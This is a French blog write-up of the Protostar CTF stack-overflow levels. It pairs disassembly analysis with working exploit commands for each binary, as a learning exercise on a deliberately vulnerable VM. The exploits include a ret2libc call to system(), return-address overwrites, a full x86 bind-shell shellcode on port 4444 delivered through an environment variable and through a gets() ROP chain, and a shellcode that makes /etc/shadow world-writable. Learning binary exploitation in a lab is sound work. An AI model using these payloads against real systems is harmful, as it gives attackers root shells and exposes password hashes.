Le CTF Protostar initialement provenant du site exploit-exercices est une série de challenges orientés spécifiquement vers l’exploitation de binaires.
Ici on va s’intéresser aux binaires stack consistant à exploiter des débordement de tampon sur la pile.
On ne dispose pas d’une image virtuelle OVA mais d’un ISO de live CD. Il faut donc créer une nouvelle VM depuis VirtualBox, indiquer que l’on ne veut pas créer de disque dur vituel (VDI) puis enfin rattacher sur le controlleur IDE l’image ISO.
Sur le type de système on peut sélectionner Debian 6 32 bits
.
Pour se connecter à la VM il faut indiquer à SSH que l’on accepte les algos obsolètes, par exemple :
1
ssh -oHostKeyAlgorithms=+ssh-rsa user@192.168.56.95
Level 0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int main (int argc, char **argv, char **envp);
; var char *s @ esp+0x1c
; var int32_t var_5ch @ esp+0x5c
0x080483f4 push ebp
0x080483f5 mov ebp, esp
0x080483f7 and esp, 0xfffffff0
0x080483fa sub esp, 0x60
0x080483fd mov dword [var_5ch], 0
0x08048405 lea eax, [s]
0x08048409 mov dword [esp], eax ; char *s
0x0804840c call gets ; sym.imp.gets ; char *gets(char *s)
0x08048411 mov eax, dword [var_5ch]
0x08048415 test eax, eax
0x08048417 je 0x8048427
0x08048419 mov dword [esp], str.you_have_changed_the__modified__variable ; 0x8048500 ; const char *s
0x08048420 call puts ; sym.imp.puts ; int puts(const char *s)
0x08048425 jmp 0x8048433
0x08048427 mov dword [esp], str.Try_again ; 0x8048529 ; const char *s
0x0804842e call puts ; sym.imp.puts ; int puts(const char *s)
0x08048433 leave
Le CTF n’indique pas exactement s’il faut exploiter chaque binaire ou si certains servent uniquement à des fins de démo.
Par exemple celui çi indique si une variable initialisée à 0 (var_5ch
) a été modifiée et donc si on l’a écrasé en saisissant une chaine trop longue sur l’entrée standard.
La particularité ici est que l’exploitation se fait directement dans la fonction main()
ce qui est assez rare pour ce type de challenge.
Toutefois ça ne change pas grand chose car l’appel original s’est fait par un call
:
1
2
3
0x08048357 push main ; 0x80483f4 ; void *main
0x0804835c call __libc_start_main ; sym.imp.__libc_start_main ; int __libc_start_main(void *main, int argc, char **ubp_av, void *init, void *fini, void *rtld_fini, void *stack_end)
0x08048361 hlt
On voit ici que 0x60 (96) octets sont alloués pour la stack frame donc ce qui sépare ebp
de esp
. Mais notre buffer est à esp+0x1c
(esp+28
) donc il faut écraser à minima 96 - 28 = 68 octets pour remplir la stack frame avant d’attaquer le saved-ebp et l’adresse de retour.
On va commencer par passer au programme cette chaine suivante générée par Python :
1
"A" * 68 + "BBBB" + "CCCC" + "DDDD" + "EEEE" + "FFFF"
1
2
3
4
5
6
$ ./stack0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFF
you have changed the 'modified' variable
Segmentation fault
$ dmesg|tail -1
[ 7528.902449] stack0[1800]: segfault at 45454545 ip 45454545 sp bffffd00 error 4
On voit que eip
est écrasé par 45454545
soit les caractères E. Il faut donc 80 caractères avant d’écraser eip
.
Note: j’ai trouvé cet article sur les codes d’erreurs segfault : Chris’s Wiki :: blog/linux/KernelSegfaultErrorCodes
On va utiliser la technique de ret2libc
car la stack n’est pas randomisée : l’adresse de system()
sera toujours au même emplacement.
Il faut aussi passer sur la stack le chemin du programme que l’on veut exécuter. Idéalement c’est /bin/sh
mais la chaine n’est pas présente dans l’exécutable. On pourrait la retrouver dans la mémoire du programme une fois lancé puisqu’il charge la libc mais ici on va juste réutiliser une chaine du programme et s’arranger pour qu’il y ait un programme du nom correspondant dans le path.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ gdb ./stack0
GNU gdb (GDB) 7.0.1-debian
Reading symbols from /opt/protostar/bin/stack0...done.
(gdb) b *main
Breakpoint 1 at 0x80483f4: file stack0/stack0.c, line 6.
(gdb) r
Starting program: /opt/protostar/bin/stack0
Breakpoint 1, main (argc=1, argv=0xbffffd64) at stack0/stack0.c:6
6 stack0/stack0.c: No such file or directory.
in stack0/stack0.c
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
(gdb) x/s 0x08048520
0x8048520: "variable"
Notre payload est constitué successivement de :
un padding de 80 octets
l’adresse de
system()
qui écrase l’adresse de retourun padding de 4 octets qui sera utilisé comme saved-eip à la sortie de la fonction
system()
(via son instructionret
)l’adresse de la chaine
variable
provenant du messageyou have changed the 'modified' variable
Exploitation :
1
2
3
4
5
6
7
8
$ cp /usr/bin/whoami /tmp/variable
$ export PATH=/tmp:$PATH
$ python -c 'import struct;print "A" * 80 + struct.pack("<I", 0xb7ecffb0) + "BBBB" + struct.pack("<I", 0x08048520)' | ./stack0
you have changed the 'modified' variable
root
Segmentation fault
$ dmesg|tail -1
[ 8476.152690] stack0[1829]: segfault at 42424242 ip 42424242 sp bffffd04 error 4
On voit que whoami
a bien été exécuté (affiche root
) et que après ça un segfault a eu lieu car le code a essayé de sauter ensuite sur l’adresse de padding correspondant à BBBB
.
On aurait pu y écrire l’adresse de la fonction exit()
pour éviter une entrée dans les logs :)
Level 1
Ok je commence à comprendre l’idée du challenge et effectivement on était pas sensé aller jusqu’à l’exploitation XD
Ici on a donc une variable sur la stack qui se fit écraser et on doit faire en sorte qu’elle obtienne une certaine valeur :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int main (int argc, char **argv, char **envp);
; arg char **argv @ ebp+0x8
; arg char **envp @ ebp+0xc
; var const char *src @ esp+0x4
; var char *dest @ esp+0x1c
; var int32_t var_5ch @ esp+0x5c
0x08048464 push ebp
0x08048465 mov ebp, esp
0x08048467 and esp, 0xfffffff0
0x0804846a sub esp, 0x60
0x0804846d cmp dword [argv], 1
0x08048471 jne 0x8048487
0x08048473 mov dword [src], str.please_specify_an_argument ; 0x80485a0
0x0804847b mov dword [esp], 1 ; int eval
0x08048482 call errx ; sym.imp.errx ; void errx(int eval)
0x08048487 mov dword [var_5ch], 0
0x0804848f mov eax, dword [envp]
0x08048492 add eax, 4
0x08048495 mov eax, dword [eax]
0x08048497 mov dword [src], eax ; const char *src
0x0804849b lea eax, [dest]
0x0804849f mov dword [esp], eax ; char *dest
0x080484a2 call strcpy ; sym.imp.strcpy ; char *strcpy(char *dest, const char *src)
0x080484a7 mov eax, dword [var_5ch]
0x080484ab cmp eax, 0x61626364
0x080484b0 jne 0x80484c0
0x080484b2 mov dword [esp], str.you_have_correctly_got_the_variable_to_the_right_value ; 0x80485bc ; const char *s
0x080484b9 call puts ; sym.imp.puts ; int puts(const char *s)
0x080484be jmp 0x80484d5
0x080484c0 mov edx, dword [var_5ch]
0x080484c4 mov eax, str.Try_again__you_got_0x_08x ; 0x80485f3
0x080484c9 mov dword [src], edx
0x080484cd mov dword [esp], eax ; const char *format
0x080484d0 call printf ; sym.imp.printf ; int printf(const char *format)
0x080484d5 leave
0x080484d6 ret
On voit 0x61626364
donc dcba
en raison de l’endianness. C’est facile d’y parvenir :
1
2
$ $ ./stack1 `python -c 'print "dcba" * 18'`
you have correctly got the variable to the right value
Level 2
La leçon ici est qu’on ne pourra pas parvenir à tout en utilisant seulement bash. Le programme ici copie le contenu d’une variable d’environnement vers un buffer sur la stack.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int main (int argc, char **argv, char **envp);
; var const char *src @ esp+0x4
; var char *dest @ esp+0x18
; var int32_t var_58h @ esp+0x58
; var char *var_5ch @ esp+0x5c
0x08048494 push ebp
0x08048495 mov ebp, esp
0x08048497 and esp, 0xfffffff0
0x0804849a sub esp, 0x60
0x0804849d mov dword [esp], str.GREENIE ; 0x80485e0 ; const char *name
0x080484a4 call getenv ; sym.imp.getenv ; char *getenv(const char *name)
0x080484a9 mov dword [var_5ch], eax
0x080484ad cmp dword [var_5ch], 0
0x080484b2 jne 0x80484c8
0x080484b4 mov dword [src], str.please_set_the_GREENIE_environment_variable ; 0x80485e8
0x080484bc mov dword [esp], 1 ; int eval
0x080484c3 call errx ; sym.imp.errx ; void errx(int eval)
0x080484c8 mov dword [var_58h], 0
0x080484d0 mov eax, dword [var_5ch]
0x080484d4 mov dword [src], eax ; const char *src
0x080484d8 lea eax, [dest]
0x080484dc mov dword [esp], eax ; char *dest
0x080484df call strcpy ; sym.imp.strcpy ; char *strcpy(char *dest, const char *src)
0x080484e4 mov eax, dword [var_58h]
0x080484e8 cmp eax, 0xd0a0d0a
0x080484ed jne 0x80484fd
0x080484ef mov dword [esp], str.you_have_correctly_modified_the_variable ; 0x8048618 ; const char *s
0x080484f6 call puts ; sym.imp.puts ; int puts(const char *s)
0x080484fb jmp 0x8048512
0x080484fd mov edx, dword [var_58h]
0x08048501 mov eax, str.Try_again__you_got_0x_08x ; 0x8048641
0x08048506 mov dword [src], edx
0x0804850a mov dword [esp], eax ; const char *format
0x0804850d call printf ; sym.imp.printf ; int printf(const char *format)
0x08048512 leave
0x08048513 ret
La valeur de l’entier écrasé comme précédemment sur la stack doit être 0xd0a0d0a
soit \n\r\n\r
correspondant à des retours à la ligne.
Bash nous jette quand on peut définir la variable :
1
2
$ export GREENIE=`python -c 'print "\r\n\r\n" * 20'`
: bad variable name
Mais on peut le faire depuis Python :
1
2
3
4
5
6
7
8
9
$ $ python
Python 2.6.6 (r266:84292, Dec 27 2010, 00:02:40)
[GCC 4.4.5] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.environ["GREENIE"] = "\n\r\n\r" * 20
>>> os.system("./stack2")
you have correctly modified the variable
10496
Level 3
Ici on a un exercice plus classique : la variable sur la stack correspond à un pointeur sur fonction initialisé à null
.
Si ce pointeur n’est pas null
la fonction pointée est appellée.
L’objectif est de faire appeller une fonction dans le programme baptisée win()
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
win ();
0x08048424 push ebp
0x08048425 mov ebp, esp
0x08048427 sub esp, 0x18
0x0804842a mov dword [esp], str.code_flow_successfully_changed ; 0x8048540 ; const char *s
0x08048431 call puts ; sym.imp.puts ; int puts(const char *s)
0x08048436 leave
0x08048437 ret
int main (int argc, char **argv, char **envp);
; var int32_t var_4h @ esp+0x4
; var char *s @ esp+0x1c
; var unsigned long var_5ch @ esp+0x5c
0x08048438 push ebp
0x08048439 mov ebp, esp
0x0804843b and esp, 0xfffffff0
0x0804843e sub esp, 0x60
0x08048441 mov dword [var_5ch], 0
0x08048449 lea eax, [s]
0x0804844d mov dword [esp], eax ; char *s
0x08048450 call gets ; sym.imp.gets ; char *gets(char *s)
0x08048455 cmp dword [var_5ch], 0
0x0804845a je 0x8048477
0x0804845c mov eax, str.calling_function_pointer__jumping_to_0x_08x ; 0x8048560
0x08048461 mov edx, dword [var_5ch]
0x08048465 mov dword [var_4h], edx
0x08048469 mov dword [esp], eax ; const char *format
0x0804846c call printf ; sym.imp.printf ; int printf(const char *format)
0x08048471 mov eax, dword [var_5ch]
0x08048475 call eax
0x08048477 leave
Gotcha :
1
2
3
4
$ python -c 'print "\x24\x84\x04\x08"*20' | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed
Segmentation fault
Level 4
On entre finalement sur un cas plus réaliste : ici pas de pointeur sur fonction, il faut écraser l’adresse de retour en débordant du tampon assigné au buffer.
1
2
3
4
5
6
7
8
9
10
11
12
int main (int argc, char **argv, char **envp);
; var char *s @ esp+0x10
0x08048408 push ebp
0x08048409 mov ebp, esp
0x0804840b and esp, 0xfffffff0
0x0804840e sub esp, 0x50
0x08048411 lea eax, [s]
0x08048415 mov dword [esp], eax ; char *s
0x08048418 call gets ; sym.imp.gets ; char *gets(char *s)
0x0804841d leave
0x0804841e ret
0x0804841f nop
On a toujours une fonction win()
mais à l’adresse 0x080483f4
.
1
2
3
4
5
6
7
8
9
10
11
12
13
$ $ python -c 'print "\xf4\x83\x04\x08"*30' | ./stack4
code flow successfully changed
code flow successfully changed
code flow successfully changed
code flow successfully changed
code flow successfully changed
code flow successfully changed
code flow successfully changed
code flow successfully changed
code flow successfully changed
code flow successfully changed
code flow successfully changed
Segmentation fault
On a dépassé les attentes en faisant exécuter la fonction plusieurs fois car étant utilisé à plusieurs reprises comme adresse de retour.
Ca montre un apperçu du ROP programming :)
Level 5
On est dans un cas similaire au level 0 :
1
2
3
4
5
$ ./stack5
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFF
Segmentation fault
$ dmesg|tail -1
[11798.886479] stack5[1922]: segfault at 45454545 ip 45454545 sp bffffcf0 error 4
Au lieu de simplement zapper ce level voici un cas d’exploitation locale à l’ancienne.
J’écris d’abord le code suivant qui permet d’avoir l’adresse d’une variable d’environnement telle que chargée en mémoire (c’est le linker commun à tous les programmes qui se charge de les mettre dans la mémoire du programme) :
1
2
3
4
5
6
7
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char *argv[]) {
printf("%s is at %p\n", argv[1], getenv(argv[1]));
return 0;
}
On va affichier l’adresse de la variable d’environnement GREENIE utilisée plus tôt :
1
2
3
4
5
6
7
$ $ ./getaddr GREENIE
GREENIE is at 0xbfffff2c
$ ./getaddr GREENIE
GREENIE is at 0xbfffff2c
$ export A=B
$ ./getaddr GREENIE
GREENIE is at 0xbfffff28
On voit que l’adresse est assez stable mais sujette aux décalages si l’environnement évolue. Le nom du programme lancé fait aussi partie des données qui peuvent causer un décalage.
Maintenant je créé un nouvelle variable d’environnement qui contient un shellcode précédé d’un NOPsled :
1
$ export SHELLCODE=`python -c 'print "\x90" * 200 + "\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x52\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x56\x89\xe1\xcd\x80\x89\xc6\x31\xc9\xb0\x3f\x89\xf3\xcd\x80\xfe\xc1\x66\x83\xf9\x02\x7e\xf2\x31\xc0\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"'`
Il s’agit de Linux/x86 - Bind (User Specified Port) Shell (/bin/sh) Shellcode (102 bytes) qui écoute par défaut sur le port 4444.
J’écrase l’adresse de retour par l’adresse du shellcode telle qu’elle devrait être en mémoire :
1
2
3
$ /tmp/getaddr SHELLCODE
SHELLCODE is at 0xbffffec0
$ python -c 'print "z"*76 + "\xc0\xfe\xff\xbf"' | ./stack5
Le programme semble alors gelé, c’est juste qu’il attend une connexion qu’on lui donne :
1
2
3
4
5
$ nc 127.0.0.1 4444 -v
127.0.0.1: inverse host lookup failed: Host name lookup failure
(UNKNOWN) [127.0.0.1] 4444 (?) open
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
Level 6
On a un cas qui ressemble aux précédents :
1
2
3
4
5
$ python -c 'print "A"*80 + "BBBB"' | ./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBAAAAAAAAAAAABBBB
Segmentation fault
$ dmesg | tail -1
[44970.395686] stack6[2477]: segfault at 42424242 ip 42424242 sp bffffbc0 error 4
Mais en apparence seulement. La fonction main
ne fait que appeller getpath
que voici :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
getpath (int32_t arg_4h);
; var char *s @ ebp-0x4c
; var int32_t var_ch @ ebp-0xc
; arg int32_t arg_4h @ ebp+0x4
; var int32_t var_4h @ esp+0x4
0x08048484 push ebp
0x08048485 mov ebp, esp
0x08048487 sub esp, 0x68
0x0804848a mov eax, str.input_path_please: ; 0x80485d0
0x0804848f mov dword [esp], eax ; const char *format
0x08048492 call printf ; sym.imp.printf ; int printf(const char *format)
0x08048497 mov eax, dword [stdout] ; obj.stdout__GLIBC_2.0
; 0x8049720
0x0804849c mov dword [esp], eax ; FILE *stream
0x0804849f call fflush ; sym.imp.fflush ; int fflush(FILE *stream)
0x080484a4 lea eax, [s]
0x080484a7 mov dword [esp], eax ; char *s
0x080484aa call gets ; sym.imp.gets ; char *gets(char *s)
0x080484af mov eax, dword [arg_4h]
0x080484b2 mov dword [var_ch], eax
0x080484b5 mov eax, dword [var_ch]
0x080484b8 and eax, 0xbf000000
0x080484bd cmp eax, 0xbf000000
0x080484c2 jne 0x80484e4
0x080484c4 mov eax, str.bzzzt___p ; 0x80485e4
0x080484c9 mov edx, dword [var_ch]
0x080484cc mov dword [var_4h], edx
0x080484d0 mov dword [esp], eax ; const char *format
0x080484d3 call printf ; sym.imp.printf ; int printf(const char *format)
0x080484d8 mov dword [esp], 1 ; int status
0x080484df call _exit ; sym.imp._exit ; void _exit(int status)
0x080484e4 mov eax, str.got_path__s ; 0x80485f0
0x080484e9 lea edx, [s]
0x080484ec mov dword [var_4h], edx
0x080484f0 mov dword [esp], eax ; const char *format
0x080484f3 call printf ; sym.imp.printf ; int printf(const char *format)
0x080484f8 leave
0x080484f9 ret
Mais surtout si on tente d’écraser l’adresse de retour par une adresse de la stack (du type 0xbfXXXXXX
) alors le programme le détecte (voir instruction à 0x080484bd
) et appelle exit()
:
1
2
$ python -c 'print "A"*80 + "\x01\x01\x01\xbf"' | ./stack6
input path please: bzzzt (0xbf010101)
Un ret2libc
pourrait fonctionner mais ici au lieu de passer l’adresse de system()
on va appeller à nouveau la fonction gets()
pour quelle lise notre shellcode vers une adresse que l’on controle (mais pas sur la stack) puis saute dessus.
Si on lance le programme on peut (par exemple pendant qu’il attend des données) aller voir sa structure en mémoire via le fichier maps
sous son pid dans /proc
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ cat /proc/2385/maps
08048000-08049000 r-xp 00000000 00:10 4963 /opt/protostar/bin/stack6
08049000-0804a000 rwxp 00000000 00:10 4963 /opt/protostar/bin/stack6
b7e96000-b7e97000 rwxp 00000000 00:00 0
b7e97000-b7fd5000 r-xp 00000000 00:10 759 /lib/libc-2.11.2.so
b7fd5000-b7fd6000 ---p 0013e000 00:10 759 /lib/libc-2.11.2.so
b7fd6000-b7fd8000 r-xp 0013e000 00:10 759 /lib/libc-2.11.2.so
b7fd8000-b7fd9000 rwxp 00140000 00:10 759 /lib/libc-2.11.2.so
b7fd9000-b7fdc000 rwxp 00000000 00:00 0
b7fe0000-b7fe2000 rwxp 00000000 00:00 0
b7fe2000-b7fe3000 r-xp 00000000 00:00 0 [vdso]
b7fe3000-b7ffe000 r-xp 00000000 00:10 741 /lib/ld-2.11.2.so
b7ffe000-b7fff000 r-xp 0001a000 00:10 741 /lib/ld-2.11.2.so
b7fff000-b8000000 rwxp 0001b000 00:10 741 /lib/ld-2.11.2.so
bffeb000-c0000000 rwxp 00000000 00:00 0 [stack]
On voit que la seconde plage d’adresse (qui commence à 0x08049000
) est écrivable et exécutable. Normalement c’est une section pour des variables mais on va mettre notre shellcode dedans.
Il nous faut déjà l’adresse de gets
:
1
2
3
$ objdump -d stack6 | grep gets
08048380 <gets@plt>:
80484aa: e8 d1 fe ff ff call 8048380 <gets@plt>
Et ensuite on va passer l’adresse 0x08049004
histoire de ne pas avoir d’octet nul. On la passe plusieurs fois car il y a l’argument pour gets
, du padding ainsi que l’adresse de retour suivante pour sauter sur le shellcode :
1
2
$ python -c 'print "A"*80 + "\x80\x83\x04\x08" + "\x04\x90\x04\x08" * 3; print "\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x52\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x56\x89\xe1\xcd\x80\x89\xc6\x31\xc9\xb0\x3f\x89\xf3\xcd\x80\xfe\xc1\x66\x83\xf9\x02\x7e\xf2\x31\xc0\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"' | ./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�AAAAAAAAAAAA��
Le programme freeze car le shellcode est le même que précédemment et écoute sur le port 4444 :
1
2
3
4
5
$ nc 127.0.0.1 4444 -v
127.0.0.1: inverse host lookup failed: Host name lookup failure
(UNKNOWN) [127.0.0.1] 4444 (?) open
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
Level 7
On reste quasiment dans la même configuration sauf qu’en plus ici un strdup()
est appelé sur notre input ce qui a pour effet de copier la chaine à un emplacement dans le heap.
Comme rien n’est exécuté après le strdup()
cela signifie que eax
contiendra l’adresse du buffer copié (car eax
sert de valeur de retour en assembleur).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
getpath (int32_t arg_4h);
; var char *src @ ebp-0x4c
; var int32_t var_ch @ ebp-0xc
; arg int32_t arg_4h @ ebp+0x4
; var int32_t var_4h @ esp+0x4
0x080484c4 push ebp
0x080484c5 mov ebp, esp
0x080484c7 sub esp, 0x68
0x080484ca mov eax, str.input_path_please: ; 0x8048620
0x080484cf mov dword [esp], eax ; const char *format
0x080484d2 call printf ; sym.imp.printf ; int printf(const char *format)
0x080484d7 mov eax, dword [stdout] ; obj.stdout__GLIBC_2.0
; 0x8049780
0x080484dc mov dword [esp], eax ; FILE *stream
0x080484df call fflush ; sym.imp.fflush ; int fflush(FILE *stream)
0x080484e4 lea eax, [src]
0x080484e7 mov dword [esp], eax ; char *s
0x080484ea call gets ; sym.imp.gets ; char *gets(char *s)
0x080484ef mov eax, dword [arg_4h]
0x080484f2 mov dword [var_ch], eax
0x080484f5 mov eax, dword [var_ch]
0x080484f8 and eax, 0xb0000000
0x080484fd cmp eax, 0xb0000000
0x08048502 jne 0x8048524
0x08048504 mov eax, str.bzzzt___p ; 0x8048634
0x08048509 mov edx, dword [var_ch]
0x0804850c mov dword [var_4h], edx
0x08048510 mov dword [esp], eax ; const char *format
0x08048513 call printf ; sym.imp.printf ; int printf(const char *format)
0x08048518 mov dword [esp], 1 ; int status
0x0804851f call _exit ; sym.imp._exit ; void _exit(int status)
0x08048524 mov eax, str.got_path__s ; 0x8048640
0x08048529 lea edx, [src]
0x0804852c mov dword [var_4h], edx
0x08048530 mov dword [esp], eax ; const char *format
0x08048533 call printf ; sym.imp.printf ; int printf(const char *format)
0x08048538 lea eax, [src]
0x0804853b mov dword [esp], eax ; const char *src
0x0804853e call strdup ; sym.imp.strdup ; char *strdup(const char *src)
0x08048543 leave
0x08048544 ret
Avec ROPgadget on trouve facilement un gadget utile pour sauter sur l’adresse pointée :
1
0x080484bf : call eax
Seulement à cause de cet appel supplémentaire la pile est aussi modifiée ce qui signifie que des instructions invalides peuvent être placées au milieu de notre shellcode.
Il apparait ici que la modification est plutôt faite vers la fin donc on va éviter d’utiliser un nopsled (dont on n’a pas besoin ici) et plutôt mettre le shellcode en tête suivi de padding ‘qui pourra être écrasé sans problèmes).
On va aussi avoir recours à un shellcode court comme Linux/x86 - chmod 777 /etc/shadow + exit() Shellcode (33 bytes) :
1
2
3
4
$ python -c 'print "\x31\xc0\x50\x68\x61\x64\x6f\x77\x68\x63\x2f\x73\x68\x68\x2f\x2f\x65\x74\xb0\x0f\x89\xe3\x66\xb9\xff\x01\xcd\x80\x31\xc0\x40\xcd\x80" + "A"*47 +"\xbf\x84\x04\x08"' | ./stack7
input path please: got path 1�Phadowhc/shh//et���f��̀1�@̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�AAAAAAAAAAAA��
$ ls -al /etc/shadow
-rwxrwxrwx 1 root shadow 938 Nov 24 2011 /etc/shadow
C’est terminé pour ces exercices concernant la stack :-)
EDIT: Il y a apparemment ce site qui reprend le projet de manière assez officielle : Protostar :: Andrew Griffiths’ Exploit Education
Publié le 5 janvier 2023